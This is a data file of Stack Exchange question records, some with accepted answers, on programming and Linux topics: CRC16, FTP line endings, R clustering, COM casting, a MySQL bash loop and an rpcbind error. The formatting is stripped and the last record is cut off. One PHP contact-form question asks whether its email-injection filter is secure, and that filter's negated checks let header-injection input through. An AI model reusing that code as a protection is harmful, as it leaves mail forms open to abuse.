{  "id": "_codereview.25165"  , "question": "I have the following CRC 16 code.  Is it possible to improve the performance of the code with unsafe constructs?  My knowledge about pointer arithmetic is rather limited.public enum Crc16Mode : ushort { Standard = 0xA001, CcittKermit = 0x8408 }public class Crc16Ccitt{    static ushort[] table = new ushort[256];    public ushort ComputeChecksum(params byte[] bytes)    {        ushort crc = 0;        for (int i = 0; i < bytes.Length; ++i)        {            byte index = (byte)(crc ^ bytes[i]);            crc = (ushort)((crc >> 8) ^ table[index]);        }        return crc;    }    public Crc16Ccitt(Crc16Mode mode)    {        ushort polynomial = (ushort)mode;        ushort value;        ushort temp;        for (ushort i = 0; i < table.Length; ++i)        {            value = 0;            temp = i;            for (byte j = 0; j < 8; ++j)            {                if (((value ^ temp) & 0x0001) != 0)                {                    value = (ushort)((value >> 1) ^ polynomial);                }                else                {                    value >>= 1;                }                temp >>= 1;            }            table[i] = value;        }    }}"  , "title": "CRC 16 code with unsafe features"  , "tags": "c#;performance"  } 
{  "id": "_unix.320515"  , "question": "My computer froze because of RAM exhaustion. I performed hard reset. When I launched Chromium, I was getting Aw, Snap! error on every page. So I deleted the folder .config/chromium/ and ran apt-get purge chromium and then rebooted and installed again. Unfortunately nothing changed. What should I do now?"  , "title": "Chromium on Debian Wheezy Aw, Snap! error"  , "tags": "linux;debian;chrome"  } 
{  "id": "_scicomp.26230"  , "question": "The question is exactly as the title: Which 2D (triangular) mesh generator software can be used which has a set of geometric primitives, controlled mesh size and standard output (.vtk or something similar)?For testing my code I need a triangular mesh for a circle and I am looking for the easiest way to do that. E.g., in 3D case for a sphere I am happy to use NETGEN with several lines of code to get meshes with controlled mesh size and standard output format.Can anyone give me a recommendation?Thanks!"  , "title": "2D mesh generator with geometric primitives"  , "tags": "software;mesh generation;unstructured mesh"  , "accepted_answer": "Shewchuk's triangle mesh generator produces high quality meshes and is quiterobust. However, the boundary definition is a series of straight lines. So toproduce a sequence of refined meshes over a circle you would also have to refinethe definition of the boundary for each mesh.Another option is Persson's distmesh triangle mesher,As shown on this page, only two lines of MATLAB (or Octave) code are requiredto mesh a circlefd=@(p) sqrt(sum(p.^2,2))-1;[p,t]=distmesh2d(fd,@huniform,0.2,[-1,-1;1,1],[]);And the mesh can be refined by changing a single mesh density parameterwith no changes to the geometry definition.You can conveniently use MATLAB to write the coordinate matrix, p, and theconnectivity matrix, t, in whatever format you choose. And, as I've verified,it also runs in Octave if you don't have access to MATLAB."  } 
{  "id": "_softwareengineering.337863"  , "question": "I was reading the Go-lang documents and found under the section of Types that Go has no type hierarchy.What does that mean exactly? Is it like python that types are been checked at run time (dynamically typed) rather than 'compile time' (statically typed)?"  , "title": "What does a type system [that] has no hierarchy mean?"  , "tags": "dynamic typing;go;static typing"  } 
{  "id": "_webmaster.104639"  , "question": "I'm developing a web application which downloads a number of web pages using PHP curl. It then uses diff to compare the files as they change each day.I reported a problem a few weeks back where seemingly identical files were being flagged by diff as being different: https://stackoverflow.com/questions/42552239/different-versions-of-diff-giving-mixed-results-when-comparing-2-identical-filThe answer to the above was that if diff was used with the -w flag it ignores whitespace.However, I've now noticed a separate problem. If I download one of the files I'm comparing, and re-upload (overwrite) it through an FTP client, the output changes.For example: Compare file1.html against file2.html with diff file1.html file2.html it may give output such as12159,12161c12159,12161<   < < --->   > > 12163,12172c12163,12172< < < < < < < < < < ---However, if I download file2.html to my desktop and re-upload it through FTP, diff without the -w flag reports there being no differences at all i.e. it's now saying the files are identical.I've tried to check the encoding of the file using file -bi file2.html but it's reported the same before and after upload through FTP. The encoding is text/html; charset=us-asciiIf the encoding is no different and the file contents have not been modified, how is re-uploading the file through FTP changing anything?? I've tried it using FileZilla and also through Netbeans.I'm using macOS Sierra locally and the remote server is Apache 2/PHP 7/centOS."  , "title": "Can file encoding change when FTP is used?"  , "tags": "linux;ftp;content encoding"  , "accepted_answer": "You are probably seeing a difference in line-endings. When transferring a file in ASCII/Text mode (as opposed to Binary mode) then most FTP clients will convert/normalise line-endings to the OS being transferred to.On Classic Mac OS (9.x and earlier) the line-ending char is simply \\r (ASCII 13), on Mac OS X this changed to \\n (ASCII 10), on Linux it is \\n (ASCII 10). And Windows is \\r\\n or ASCII 13+10. (Thanks @8bittree for the Mac correction.)So, when downloading from one OS to another all line-endings are silently converted. The conversion is reversed when uploaded. (However, as noted in @Joshua's answer this can result in corruption, depending on the file's character encoding and specific characters contained in the file.) If there is a mishmash of line-endings then it's possible the FTP software is normalising/fixing the line-endings. This would explain why downloading and then uploading the file results in a different file to what was originally on the server (ie. it is fixed). Or it is reverting a previously miss-converted file? However, the EOL-conversion may not be so intelligent and you can just end up with either double spaced lines or missing line breaks altogether (ie. mildly corrupted).By default, most FTP clients are set to Auto transfer mode and have a list of known file types to transfer in ASCII/Text mode. Other file types are transferred in Binary mode. If you are transferring between the same OS, or you wish to transfer with no conversion, then you should use Binary mode only.Ordinarily, the FTP software will not change the character encoding of the transferred file unless the source/target operating systems use a very different character encoding with which to represent text files. As @KeithDavies noted in comments, one such example is when downloading from a mainframe, that uses EBCDIC, to a local Windows machine. EBCDIC is not supported natively by Windows, so a conversion is required to convert this to ASCII. Again, transferring in Binary mode avoids any such conversion. (Thanks to @KeithDavies for the note regarding character encoding.)The answer to the above was that if diff was used with the -w flag it ignores whitespace.Yes, line-endings (whitespace) are ignored in the comparison.If I download one of the files I'm comparing, and re-upload (overwrite) it through an FTP client, the output changes.If there was a mixture of line-endings in the original file then downloading and re-uploading in ASCII mode could well fix the inconsistent line-endings. So, the files are now the same."  } 
{  "id": "_unix.98092"  , "question": "I would like to do something like the following$ tmp=name*$ mv $tmp new_$tmp$ ls new_*$ new_name-with-stuff-i-dont-want-to-type name-with-stuff-i-dont-want-to-typeSetting the environment variable seems to work$ $tmp$ name-with-stuff-i-dont-want-to-typeBut not when I do the mv$ mv $tmp new_$tmp$ ls new_*$ new_name*Question: Is there a clever easy way of doing this to save some typing?"  , "title": "Adding prefixes/suffixes to file names without typing it all over again?"  , "tags": "bash;environment variables;rename"  , "accepted_answer": "I always love bash expansion for this:lsname-with-stuff-i-dont-want-to-typemv name-with-stuff-i-dont-want-to-type{,_old}lsname-with-stuff-i-dont-want-to-type_oldThis is equivalent to:mv name-with-stuff-i-dont-want-to-type name-with-stuff-i-dont-want-to-type_oldFor prefixing:lsname-with-stuff-i-dont-want-to-typemv {,new_}name-with-stuff-i-dont-want-to-typelsnew_name-with-stuff-i-dont-want-to-typeFor easy file renaming:lsfileFOOnamemv file{FOO,BAR}namelsfileBARname"  } 
{  "id": "_codereview.13780"  , "question": "I need to do pending methods invocation in Java (Android) in my game project. A method represents actions in a scene.Maybe you're familiar with Context.startActivity in Android, which is not suddenly starting the activity, but statements below it is still executed before starting the requested activity. I've found 3 ways, but I'm not sure which one should I choose by considering the performance and PermGen issues (actually I don't know whether Android has PermGen issue if there are so many classes). These methods will not be called very frequent, may be once in 5 seconds, but may be they will be very many (there are so many scenes).Please suggest the best way of doing this, by considering memory usage (maybe PermGen too), performance, ease of coding, and bug freedom.Using switch-caseI need to add each method call in switch-case.public class MethodContainer {    public void invoke(int index) {        switch (index) {        case 0:            method0();            break;        .        .        .        case 100:            method100();            break;        }    }    private void method0() {        ...    }    .    .    .    private void method100() {        ...    }}Using for-loop and annotation/reflectionLike the above, but make coding easier (except in defining constants).public class MethodContainer {    private static final int METHOD_0 = 0;    ...    private static final int METHOD_100 = 100;    public void invoke(int index) {        for (Method m : MethodContainer.class.getMethods()) {            MyAnnotation annotation = m.getAnnotation(MyAnnotation.class);            if (annotation != null && annotation.value() == index) {                try {                    m.invoke(this);                    break;                } catch (...) {                    ...                }            }        }    }    @MyAnnotation(METHOD_0)    private void method0() {        ...    }    .    .    .    @MyAnnotation(METHOD_100)    private void method100() {        ...    }}Using inner classesThere's no need to declare constants and no reflection, but too many classes.public class MethodContainer {    public void invoke(Runnable method) {        method.run();    }    private Runnable method0 = new Runnable() {        public void run() {            ...        }    };    .    .    .    private Runnable method100 = new Runnable() {        public void run() {            ...        }    };}"  , "title": "Pending method invocation for a game"  , "tags": "java;android"  , "accepted_answer": "Your first example (switch-case) is so poorly thought of in the Object Oriented community that there is a refactoring designed specifically to replace it with your third implementation: Replace Conditional With Polymorphism.To be honest, I would have never thought of your second implementation. It isn't completely heinous, though I would probably use the constructor to create an array of method objects that you can index into directly - rather than run through a for loop every time you want to make a call.Between a revised second implementation (array with annotation/reflection) and the third implementation (inner classes) I would personally be more fond of the inner class version. I don't think that memory or performance is going to be a factor at this level and I think the third, inner class, version is much more readable (at least in Java - in other languages, you could implement something like the second approach directly)."  } 
{  "id": "_codereview.136658"  , "question": "I have a dataset with 16 million rows and may increase upwards of 30 million. I am using the parLapply to run across three cores in R. But it's taking two days to run to completion. When I try smaller datasets of about 60,000 it takes less than 5 minutes to run, what may be cause of this disparity.Desktop Specs : Corei5 -QuadCore , 4GB RAM FG DataSet (16 million rows)Id,R,T1,12,439632,12,502733,12,40805 4,13,502735,13,408056,14,40805AB (1.3 million rows)Id,R,1,12   2,133,14   4,15Locations (6600 rows)T,NEWLong,NEWLat,SITENAME,43963,-77.108995,17.942062,HARBOUR TOWN50273,-77.108995,17.942062,NEW MEADOWS40805,-77.108995,17.942062,ISLE AVENUECodenum_cores = detectCores() -1cl = makeCluster(num_cores)clusterExport(cl,varlist = c(FG,AB,sites,distancematrix)              ,envir=environment())results = parLapply(cl,1:nrow(AB),function(i){  row = AB[i,2]  filtered = subset(FG,FG$R == AB[i,2])  sites = merge(filtered , locations , by.x = T , by.y = T , all.x = FALSE)  resultdf =unique(data.frame(sites$NAME,sites$NEWLong,sites$NEWLat))    if ((nrow(resultdf))==0)   {    VAL = data.frame(AN = AB[i,2] ,SCORE = 0 ,SITES = 0,DISTANCE = 0)   }  else if ((nrow(resultdf) > 0) & (nrow(resultdf) < 4))  {  alldistance = round(distanceMatrix(resultdf))  VAL2 = data.frame(AN = AB[i,2] ,SCORE= 1 ,SITES =       nrow(resultdf),DISTANCE=sum(alldistance))   }   else if ((nrow(resultdf) >= 4) & (nrow(resultdf) <= 10 ))  {  alldistance = round(distanceMatrix(resultdf))  if (sum(alldistance) == 0)  {    VAL = data.frame(AN = AB[i,2] ,SCORE= 1 ,SITES = nrow(resultdf),DISTANCE=sum(alldistance))  }  else  {    value = nrow(resultdf)-1    require(fpc)    clustervaluePAMK = pamk(alldistance,krange = 1:value, criterion = asw ,critout = TRUE , usepam=FALSE, ns = 2)    clustervaluePAMK  = clustervaluePAMK$nc    VAL2 = data.frame(AN = AB[i,2] ,SCORE= clustervaluePAMK ,SITES = nrow(resultdf),DISTANCE=sum(alldistance))  }}else {  alldistance = round(distanceMatrix(resultdf))  if (sum(alldistance) == 0)  {    VAL = data.frame(AN = AB[i,2] ,SCORE= 1 ,SITES =     nrow(resultdf),DISTANCE=sum(alldistance))  }  else  {    require(fpc)    clustervaluePAMK = pamk(alldistance,krange = 1:10, criterion = asw ,critout = TRUE , usepam=FALSE, ns = 2)    clustervaluePAMK  = clustervaluePAMK$nc    VAL = data.frame(AN = AB[i,2] ,SCORE= clustervaluePAMK ,SITES = nrow(resultdf),DISTANCE=sum(alldistance))  }}}){FGL <- merge(FG, locations) }) and object.size(FGL) user  system elapsed  393.70   10.24  993.51 656225664 bytesCode Profile--For this section I ran against 60,000 elements.$by.self               self.time self.pct total.time total.pctunserialize     174.70    99.99     174.70     99.99as.character      0.02     0.01       0.02      0.01$by.total                     total.time total.pct self.time self.pctclusterApply           174.72    100.00      0.00     0.00do.call                174.72    100.00      0.00     0.00lapply                 174.72    100.00      0.00     0.00parLapply              174.72    100.00      0.00     0.00staticClusterApply     174.72    100.00      0.00     0.00unserialize            174.70     99.99    174.70    99.99FUN                    174.70     99.99      0.00     0.00recvData               174.70     99.99      0.00     0.00recvData.SOCKnode      174.70     99.99      0.00     0.00as.character             0.02      0.01      0.02     0.01cut                      0.02      0.01      0.00     0.00cut.default              0.02      0.01      0.00     0.00factor                   0.02      0.01      0.00     0.00split                    0.02      0.01      0.00     0.00split.default            0.02      0.01      0.00     0.00splitIndices             0.02      0.01      0.00     0.00splitList                0.02      0.01      0.00     0.00structure                0.02      0.01      0.00     0.00$sample.interval[1] 0.02$sampling.time[1] 174.72"  , "title": "Clustering 16 million records in parallel"  , "tags": "time limit exceeded;r;clustering;machine learning;geospatial"  , "accepted_answer": "Hard to tell without sample data, but lets start with a cleaned upversion as there's soo much duplicated code here and the formatting isinconsistent.The require should probably go to the top?AB[i, 2], nrow(resultdf) are run more than once and that's notgood.Some expressions are the same in multiple branches and can be merged,e.g. alldistance = ... and sum(alldistance).AFAIK parLapply just uses the return value of the function, so theassignments to VAR and VAR2 are super confusing.All refactored that looks like this now, which almost fits into a singlescreen now:require(fpc)cl = makeCluster(detectCores() - 1)clusterExport(cl, varlist = c(FG, AB, sites, distancematrix), envir = environment())results = parLapply(cl, 1:nrow(AB), function(i) {  row = AB[i, 2]  filtered = subset(FG, FG$R == row)  sites = merge(filtered, locations, by.x = T, by.y = T, all.x = FALSE)  resultdf = unique(data.frame(sites$NAME, sites$NEWLong, sites$NEWLat))  n = nrow(resultdf)  if (n == 0)  {    data.frame(AN = row, SCORE = 0, SITES = 0, DISTANCE = 0)  }  else  {    alldistance = round(distanceMatrix(resultdf))    s = sum(alldistance)    if (n < 4 || s == 0)    {      score = 1    }    else    {      score = pamk(alldistance, krange = 1:min(n - 1, 10), criterion = asw, critout = TRUE, usepam = FALSE, ns = 2)$nc    }    data.frame(AN = row, SCORE = score, SITES = n, DISTANCE = s)  }})"  } 
{  "id": "_softwareengineering.290023"  , "question": "I'm trying develop an add-in for an application using it's API and I have Option Strict turned on.  Trying to work with these COM objects is causing multiple compile issues saying Option Strict On disallows implicit conversions from 'typeA' to  'typeB'.I'm currently overcoming the issue by using DirectCast, which means I have to define the type in multiple places, which makes future code maintenance kind of sucky.A simple example is: Dim templateMgr As IEdmTemplateMgr5 = TheVault.CreateUtility(EdmUtility.EdmUtil_TemplateMgr)The CreateUtility method returns an object which implements the interface specified by the argument (argument is an EdmUtility Enum value). The return is specified at compile time as System.Object so must be cast to the right type in order to use it. With option strict on I cannot do this implicitly, so I have been using DirectCast thusly:Dim templateMgr As IEdmTemplateMgr5 = DirectCast(TheVault.CreateUtility(EdmUtility.EdmUtil_TemplateMgr), IEdmTemplateMgr5)There are many, many, many (that many!) COM members that use generic members that make the compiler very unhappy with Option Strict turned on. I don't particularly like using DirectCast() because it means declaring the type in multiple places scattered all throughout the code.  Is this a case where it's better to just turn off Option Strict??I feel like there has to be a better way!EDIT 1My compile options are:  Option Explicit = ON  Option Strict = ON Option Infer = ON  Option Compare = Text  Target CPU = AnyCPUEDIT 2Here is another example that isn't just creating a new object instance.  In this example I am using a loop to get information on all the objects in an array that returned by another function. The return from Data.Get is always type System.Object which again causes teh compiler to complain that implicit conversion from type 'Object' to type 'String' is not allowed with Option Strict on.Dim DataReturn As System.ArrayDim refreshFlag As LongTry    refreshFlag = TheTemplate.RunEx(TheCommand.mlParentWnd, TheVault.RootFolderID, DataReturn)    If Not DataReturn.IsAllocated Then Throw New Exception(Nothing was created by the template.)    'Refresh the folder view if required    If refreshFlag = EdmRefreshFlag.EdmRefresh_FileList Then TheVault.RefreshFolder(TheVault.RootFolderPath)    'Return the path(s) of the newly created file(s)    Dim path As String = String.Empty    For Each data As EdmData In DataReturn        Select Case data.Type            Case EdmDataType.EdmData_File                path = DirectCast(data.Get(EdmDataPropertyType.EdmProp_Path), System.String)                If path.Length > 0 Then CreatedFilesPaths.Add(path)                path = String.Empty        End Select    Next"  , "title": "When to turn off Option Strict? Or how to deal with inheritance of COM using Option Strict?"  , "tags": "vb.net;com"  , "accepted_answer": "Dealing with COM onjects is almost the canonical reason for setting Option Strict to off, or using the C# equivalent dynamic.Late binding means that you loose the help of the compiler in getting things right, if you are fighting the compiler more than it is helping you, it is quite reasonable to just say I know what I am doing.I would recommend isolating these functions into a seperate file, and leave option strict on for everything else. "  } 
{  "id": "_softwareengineering.122173"  , "question": "I was looking for a pattern/solution that allows me call a method as a runtime exception in a group of different methods without using Reflection. I've recently become aware of the Abstract Factory Pattern.To me, it looks so much like polymorphism, and I thought it could be a case of polymorphism but without the super class GUIFactory, as you can see in the example of the link above. Am I correct in this assumption?"  , "title": "Can the Abstract Factory pattern be considered as a case of polymorphism?"  , "tags": "object oriented;design patterns;polymorphism"  , "accepted_answer": "I guess it depends on how it is used.Essentially the Factory pattern is a reference to a set of objects.  Normally combined with something else, possibly like the Strategy pattern (which is more likely to be defined as a type of polymorphism) to provide reference to an object to act on.The Abstract Factory Pattern by itself is intended to be polymorphic as it is defined as an abstract class type.  However the concrete implementation of the factory is the WidgetFactory in your type and is only polymorphic in reference to using a factory and providing an implementation of a factory.In terms of what you are after, you certainly require a concrete factory, and presumably the actions you perform depend on the exception being caught. To that end you would use your factory implementation in a non-polymorphic way simply by passing it the exception caught, and have the factory pattern return a method to invoke a strategy or even a chain-of-command pattern to deal with how you would like to handle the exception.Therefore, your factory would not necessarily be polymorphic, and your exception handlers would be polymorphic."  } 
{  "id": "_softwareengineering.238755"  , "question": "Recently I started same projects to improve my programming skills, so I tried to develop a point of sale software. I started to bay the required hardware (ticket printer, Barcode Scanner.) to make my personal lab, but Im unable to find how to implement the payment process using an ATM terminal.  Is there any possibility to simulate the payment process whiteout having the equipment?"  , "title": "How to simulate an ATM terminal in a POS"  , "tags": "simulation"  , "accepted_answer": "An 'ATM terminal' is often a magnetic stripe reader (MSR).There are several different approaches for this:Keyboard 'wedge' or USB.  It hooks into the USB system and acts as another keyboard.  Magtek makes some (admittedly, this is a higher end brand).Integrated keyboard mag stripe reader are actually part of a keyboard as can be seen with this Cherry Keyboard.NFC devices.Dedicated card readers with displays (such as those by VeriFone and Ingenico)As some of these just act as keyboards themselves, yes, you can simulate it by typing the data in from a keyboard.  Otherwise, if you want to support things such as cherry keyboards and VeriFone 870 you will probably need to get one.  Especially consider that these devices are often dedicated computers of their own, with their own programming languages and operating systems (in the case of the 870 I linked, its an embedded linux system).There are libraries that try to abstract away the 'card reader' (and then you can go about making something that works with JavaPOS or the like, but from experience, these can be very frustrating to work with as they often target the lowest common denominator of devices (and that can be very low)."  } 
{  "id": "_webapps.29922"  , "question": "Say I get a New Message notification (the red box over the Messages icon). I then click on the Messages icon, so I am viewing the preview of all of my recent conversations. The red notification icon goes away.Even if I didn't open the conversation itself to view the full text, does the message get marked as read?"  , "title": "Does previewing a Facebook message mark it as Seen?"  , "tags": "facebook;chat"  , "accepted_answer": "If you see text 1/2/3 in a small red cloud in the Envelope icon(Notification) in the top-blue bar & you click that, and preview the message, Message will NOT be marked as read.  To simplify, Until you actually Go to Messages, click that Specific Message and see it in FULL, no message will be marked as Read. Unread messages always have a faint blue background, whereas read messages have pure white.Any message can be marked as Unread again, from the screen where you read it.TL:DR; No, it will not be marked as read. :)"  } 
{  "id": "_codereview.42741"  , "question": "I was wondering if there is a smarter way of doing the following code. Basically what is does is that it opens a data file with a lot of rows and columns. The columns are then sorted so each column is a vector with all the data inside.3.2.2 - Declare variableslineData    = list()for line in File:  splittedLine = line.split() # split  lineData.append(splittedLine) #collect And here the fun begins3.2.3 - define desired variables from filecol1    = ElemNocol2    = Node1col3    = Node2col4    = Lengthcol5    = Areacol6    = Inertiacol7    = Fnode1col8    = Fnode2col9    = SigmaMincol10   = SigmaMax3.2.3 - make each variable as a list/vectorvar ={col1:[], col2:[], col3:[], col4:[], col5:[], col6:[], col7:[], col8:[]     ,col9:[],col10:[]}  3.2.3 - take the values from each row in lineData and collect them into the correct variablefor row in lineData:  var[col1] .append(float(row[0])      )    #[-]    ElemNo  var[col2] .append(float(row[1])      )    #[-]    Node1  var[col3] .append(float(row[2])      )    #[-]    Node2  var[col4] .append(float(row[3])      )    #[mm]   Length  var[col5] .append(float(row[4])      )    #[mm^2] Area  var[col6] .append(float(row[5])*10**6)    #[mm^4] Inertia   var[col7] .append(float(row[6])      )    #[N]    Fnode1  var[col8] .append(float(row[7])      )    #[N]    Fnode2  var[col9] .append(float(row[8])      )    #[MPa]  SigmaMin  var[col10].append(float(row[9])      )    #[MPa]  SigmaMaxAs you see this is a rather annoying way of making each row into a variable. Any suggestions?"  , "title": "Row/Column Transpose"  , "tags": "python;matrix"  , "accepted_answer": "First of all don't create variables for those keys, store them in a list.keys = [ElemNo, Node1, Node2, Length, Area, Inertia,        Fnode1, Fnode2, SigmaMin, SigmaMax]You can use collections.defaultdict here, so no need to initialize the dictionary with those keys and empty list. from collections import defaultdictvar = defaultdict(list)Now, instead of storing the data in a list, you can populate the dictionary during iteration over File itself.for line in File:    for i, (k, v) in enumerate(zip(keys, line.split())):        if i == 5:            var[k].append(float(v)*10**6)        else:            var[k].append(float(v)) "  } 
{  "id": "_cs.25931"  , "question": "Can this problem be solved in poly time?Input: $S_i \\subset \\{1,\\cdots,n\\}$ for $i=1,\\cdots, n$.Question: Is it possible to select an $a_i \\in S_i$ for each $i=1,\\cdots,n$, such that $\\{a_1,\\cdots,a_n\\}=\\{1,\\cdots,n\\}$?Informally, the problem asks for selecting one element from each subset $S_i$ such that the selected elements cover the set $\\{1, \\cdots, n\\}$."  , "title": "A variant of the set cover problem: Is that a known problem?"  , "tags": "algorithms;complexity theory;decision problem;polynomial time"  , "accepted_answer": "Hint: Form a bipartite graph which has the sets $S_1,\\ldots,S_n$ on one side and the numbers $1,\\ldots,n$ on the other. Connect $S_i$ to $a$ if $S_i$ contains $a$. You are looking for a perfect matching in this graph."  } 
{  "id": "_cs.22558"  , "question": "For a proof I need to use the fact that every word in the language of an enumerator occur on the output paper in finite time. Is it true?For example, the language of the natural numbers in decimal representation. Can the enumerator print the odd numbers first and then the even numbers? (if yes, I am wrong)$1, 3, 5, 7, ..., 2, 4, 6 ,8, ...$As I know, we get to the even numbers but not in finite time (maybe transfinite induction based on this)"  , "title": "Does an enumerator print the first occurrence of a word in finite time?"  , "tags": "turing machines"  , "accepted_answer": "Your interpretation is correct, and the easiest way to look at it is to know both definitions of recursively enumerable sets:There is an algorithm (potentially running forever) that enumerates the members of $S$.There is an algorithm for which the algorithm halts only on elements of $S$.These two definitions are equivalent, and if you use the second one then you can easily answer your own question.However, do note an important caveat. Although for any given word $w \\in S$ there is some time $T_w$ such that after $T_w$ steps, $w$ will have been enumerated. However, there is no way to bound $T_w$ from above as a function of $w$. It can grow faster than any computable function. "  } 
{  "id": "_codereview.42411"  , "question": "A day ago I have asked a question on here about Preventing email injection. I had some feedback and worked on it, and below is the latest update.Could anyone please share their opinion?  Is it secure enough?  Is there a way to short-cut the code?   <?php   session_start();   if ($_SERVER['REQUEST_METHOD'] == 'POST'){      ob_start();      if(isset(         $_REQUEST['name'],         $_REQUEST['email'],         $_REQUEST['message'],         $_REQUEST['number'],         $_REQUEST['date'],         $_REQUEST['select'],         $_REQUEST['radio'],         $_REQUEST['checkbox'],         $_REQUEST['token']      )){      if($_SESSION['token'] != $_POST['token']){         $response = 0;      }else{         $_SESSION['token'] = ;         $name = $_REQUEST['name'];         $email = $_REQUEST['email'];         $message = $_REQUEST['message'];         $number = $_REQUEST['number'];         $date = $_REQUEST['date'];         $select = $_REQUEST['select'];         $radio = $_REQUEST['radio'];         $checkbox = $_REQUEST['checkbox'];         $spam_pattern = /[\\r\\n]|Content-Type:|Bcc:|Cc:/i;            switch (true){            case !filter_var($email, FILTER_VALIDATE_EMAIL):                  $response = <b style='color: red'>Invalid Email Address!</b>;            break;                case !preg_match($spam_pattern, $name):                case !preg_match($spam_pattern, $number):                case !preg_match($spam_pattern, $date):                case !preg_match($spam_pattern, $select):                case !preg_match($spam_pattern, $radio):                case !preg_match($spam_pattern, $checkbox):                case !preg_match($spam_pattern, $message):                  $response = <b style='color: red'>Invalid Request!</b>;            break;                default:                    $to = ;                    $subject = New Message From: $name;                    $message = Name: $name<br/>                                   number: $number<br/>                                   date: $date<br/>                                   select: $select<br/>                                   radio: $radio<br/>                                   checkbox: $checkbox<br/>                                   Email: $email<br/>                                   Message: $message;                    $headers  = 'MIME-Version: 1.0' . \\r\\n;                    $headers .= 'Content-type: text/html; charset=utf-8' . \\r\\n;                    $headers .= 'From: '.$email . \\r\\n;                    if(mail($to, $subject, $message, $headers)){                        $response = <h2 style='color: green'>Success! Your submission has been sent.</h2>;                    }else{                        $response = <h2 style='color: blue'>Error! There was a problem with sending.</h2>;                    }            break;               }            }         }         else {            $response = <b style='color: red'>Error</b>;         }      ob_flush();   }?>"  , "title": "Preventing email injection - Part 2"  , "tags": "php;security;email"  } 
{  "id": "_unix.111545"  , "question": "I am using the bash script to connect to the mysql database and execute a query. I use the below script to connect to the database and execute the query. #!/bin/bashTotal_Results=$(mysql -h server-name -P 3306 -u username-ppassword -D dbname<<<select URL  from Experiment where URL_Exists = 1);for URL in $Total_Results;doecho $URLvar=$(curl -s --head $URL | head -n 1 | grep HTTP/1.[01] [23]..)echo $varif [ -z $var ]thenecho Ok we do not have a valid link and the value needs to be updated as -1 hereelseecho we will update the value as 1 from herefidoneThe problem is the result set is considered as a one whole result and I am getting inside the else loop only once (we will update the value as 1 from here is printed only once). I have 2500 valid URLs and I expect 2500 echoes of we will update the value as 1 from here.How can I process each and every row as a single result from mySQL query?"  , "title": "Mysql query resultset in bash script"  , "tags": "bash;shell;mysql"  , "accepted_answer": "mysql seems to output the results to a shell variable in a single line. One way round this is to write the contents to a temporary file, then process in a while loop.EDITOn my system IFS=\\n before the mysql command (when the results are assigned to a shell variable) gives the correct multi-line output.e.g.  IFS=\\n Total_results=$(mysql.....)=============== End of Edit ==========================#!/bin/bashmysql --silent -h server-name -P 3306 -u username-ppassword -D dbname<<<select URL  from Experiment where URL_Exists = 1 > tmp_resultswhile read URLdo    echo $URL   var=$(curl -s --head $URL | head -n 1 | grep HTTP/1.[01] [23]..)   echo $var   if [ -z $var ]   then     echo Ok we do not have a valid link and the value needs to be updated as -1 here   else     echo we will update the value as 1 from here   fidone < tmp_results"  } 
{  "id": "_unix.192885"  , "question": "So I installed GRUB2 and Ubuntu 14.10 alongside Windwos 8.1. I am on an Acer laptop, which does not have a cd drive.I deleted the Ubuntu partition in windows 8.1 through the integrated disk manager, restarted and now am seeing this:GNU GRUB version 2.02~beta2-9ubuntu1 Minimal BASH-like editing is supported.for the first word, TAB lists possible commands completions.Anywhere else TAB lists possible device or file completion grub>I have googled some things and I think I need to restore the default Windows boot manager. However, I don't have a recovery disk for windows 8.1, and again, I don't have a cd drive.Is another possibility to make a usb with Ubuntu on it and to boot this one instead and then somehow to fix this?"  , "title": "Restore windows boot manager in grub command line"  , "tags": "windows;grub;boot loader"  } 
{  "id": "_unix.253804"  , "question": "I just installed and am trying to start rpcbind on my redhat 7 machine. I'm new to linux so I'm having some trouble figuring out what to do next. I'm running all of these commands as the root user.When I run rpcbind I get the following output:Jan 07 09:44:28 sebilj systemd[1]: Starting RPC bind service...**Jan 07 09:44:28 sebilj rpcbind[17902]: /sbin/rpcbind: error while loading shared libraries: libkeyutils.so.1: cannot open shared object file: Permission denied**Jan 07 09:44:28 sebilj systemd[1]: rpcbind.service: control process exited, code=exited status=127Jan 07 09:44:28 sebilj systemd[1]: Failed to start RPC bind service.Jan 07 09:44:28 sebilj systemd[1]: Unit rpcbind.service entered failed state.Jan 07 09:44:28 sebilj systemd[1]: rpcbind.service failed.So I checked and the library in question does exist and it has chmod set to 777 so full permissions.I checked and this library is linking to a lib with the same name but a higher version, and this second lib also has full permissions:ldconfig -v | grep libkeyutils.so.1    libkeyutils.so.1 -> libkeyutils.so.1.5Finally I checked which libs rpcbind needs and it showed me the following:ldd /sbin/rpcbindlinux-vdso.so.1 =>  (0x00007ffe2b731000)libtirpc.so.3 => /lib64/libtirpc.so.3 (0x00007f4f06b43000)libsystemd.so.0 => /lib64/libsystemd.so.0 (0x00007f4f06b1b000)libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f4f068fe000)libwrap.so.0 => /lib64/libwrap.so.0 (0x00007f4f066f3000)libc.so.6 => /lib64/libc.so.6 (0x00007f4f06332000)libgssapi_krb5.so.2 => /lib64/libgssapi_krb5.so.2 (0x00007f4f060e5000)libkrb5.so.3 => /lib64/libkrb5.so.3 (0x00007f4f05e00000)libk5crypto.so.3 => /lib64/libk5crypto.so.3 (0x00007f4f05bce000)libcom_err.so.2 => /lib64/libcom_err.so.2 (0x00007f4f059c9000)libcap.so.2 => /lib64/libcap.so.2 (0x00007f4f057c4000)libm.so.6 => /lib64/libm.so.6 (0x00007f4f054c2000)librt.so.1 => /lib64/librt.so.1 (0x00007f4f052b9000)libselinux.so.1 => /lib64/libselinux.so.1 (0x00007f4f05094000)liblzma.so.5 => /lib64/liblzma.so.5 (0x00007f4f04e6f000)libgcrypt.so.11 => /lib64/libgcrypt.so.11 (0x00007f4f04bed000)libgpg-error.so.0 => /lib64/libgpg-error.so.0 (0x00007f4f049e8000)libresolv.so.2 => /lib64/libresolv.so.2 (0x00007f4f047ce000)libdw.so.1 => /lib64/libdw.so.1 (0x00007f4f04586000)libdl.so.2 => /lib64/libdl.so.2 (0x00007f4f04382000)libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007f4f0416c000)/lib64/ld-linux-x86-64.so.2 (0x00007f4f06f8a000)libnsl.so.1 => /lib64/libnsl.so.1 (0x00007f4f03f52000)libkrb5support.so.0 => /lib64/libkrb5support.so.0 (0x00007f4f03d43000)**libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f4f03b3f000)**libattr.so.1 => /lib64/libattr.so.1 (0x00007f4f03939000)libpcre.so.1 => /lib64/libpcre.so.1 (0x00007f4f036d8000)libelf.so.1 => /lib64/libelf.so.1 (0x00007f4f034c1000)libbz2.so.1 => 